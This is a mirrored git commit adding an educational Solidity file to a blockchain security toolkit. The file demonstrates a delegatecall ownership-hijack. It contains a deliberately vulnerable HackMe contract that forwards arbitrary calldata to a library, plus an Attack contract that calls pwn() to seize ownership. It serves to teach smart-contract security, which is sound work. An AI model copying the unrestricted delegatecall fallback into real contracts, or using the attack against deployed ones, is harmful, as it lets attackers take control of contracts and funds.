mirror of
https://github.com/autistic-symposium/blockchains-security-toolkit.git
synced 2025-05-16 21:52:24 -04:00
Create delegatecall.sol
This commit is contained in:
parent
901fd4ae3f
commit
b4a73a2e5e
1 changed files with 60 additions and 0 deletions
|
@ -0,0 +1,60 @@
|
||||||
|
// SPDX-License-Identifier: MIT
|
||||||
|
pragma solidity ^0.8.17;
|
||||||
|
|
||||||
|
/*
|
||||||
|
HackMe is a contract that uses delegatecall to execute code.
|
||||||
|
It is not obvious that the owner of HackMe can be changed since there is no
|
||||||
|
function inside HackMe to do so. However an attacker can hijack the
|
||||||
|
contract by exploiting delegatecall. Let's see how.
|
||||||
|
|
||||||
|
1. Alice deploys Lib
|
||||||
|
2. Alice deploys HackMe with address of Lib
|
||||||
|
3. Eve deploys Attack with address of HackMe
|
||||||
|
4. Eve calls Attack.attack()
|
||||||
|
5. Attack is now the owner of HackMe
|
||||||
|
|
||||||
|
What happened?
|
||||||
|
Eve called Attack.attack().
|
||||||
|
Attack called the fallback function of HackMe sending the function
|
||||||
|
selector of pwn(). HackMe forwards the call to Lib using delegatecall.
|
||||||
|
Here msg.data contains the function selector of pwn().
|
||||||
|
This tells Solidity to call the function pwn() inside Lib.
|
||||||
|
The function pwn() updates the owner to msg.sender.
|
||||||
|
Delegatecall runs the code of Lib using the context of HackMe.
|
||||||
|
Therefore HackMe's storage was updated to msg.sender where msg.sender is the
|
||||||
|
caller of HackMe, in this case Attack.
|
||||||
|
*/
|
||||||
|
|
||||||
|
contract Lib {
|
||||||
|
address public owner;
|
||||||
|
|
||||||
|
function pwn() public {
|
||||||
|
owner = msg.sender;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
contract HackMe {
|
||||||
|
address public owner;
|
||||||
|
Lib public lib;
|
||||||
|
|
||||||
|
constructor(Lib _lib) {
|
||||||
|
owner = msg.sender;
|
||||||
|
lib = Lib(_lib);
|
||||||
|
}
|
||||||
|
|
||||||
|
fallback() external payable {
|
||||||
|
address(lib).delegatecall(msg.data);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
contract Attack {
|
||||||
|
address public hackMe;
|
||||||
|
|
||||||
|
constructor(address _hackMe) {
|
||||||
|
hackMe = _hackMe;
|
||||||
|
}
|
||||||
|
|
||||||
|
function attack() public {
|
||||||
|
hackMe.call(abi.encodeWithSignature("pwn()"));
|
||||||
|
}
|
||||||
|
}
|
Loading…
Add table
Add a link
Reference in a new issue